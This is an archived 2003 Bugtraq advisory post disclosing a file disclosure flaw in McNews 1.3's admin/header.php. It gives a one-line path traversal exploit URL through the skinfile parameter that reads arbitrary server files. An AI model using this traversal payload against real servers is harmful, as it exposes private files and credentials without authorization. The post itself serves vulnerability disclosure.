<<< Date Index >>> <<< Thread Index >>>

McNews 1.3 : File Disclosure Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: McNews 1.3 : File Disclosure Vulnerability
From: Sebastien Lelarge <sebastien.lelarge@xxxxxxxxxxxxxxxx>
Date: 26 Sep 2003 08:40:05 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm


The vulnerable script is <mcnews_root>/admin/header.php

Exploit it with : header.php?voir=1&skinfile=skin/../../../file/to/view

Prev by Date: Re: Does VeriSign's SiteFinder service violate the ECPA?
Next by Date: Re: ICMP pokes holes in firewalls...
Previous by thread: DCE 1.2.2c Denial of Service Vulnerability on IRIX
Next by thread: Mplayer Buffer Overflow
Index(es):
- Date
- Thread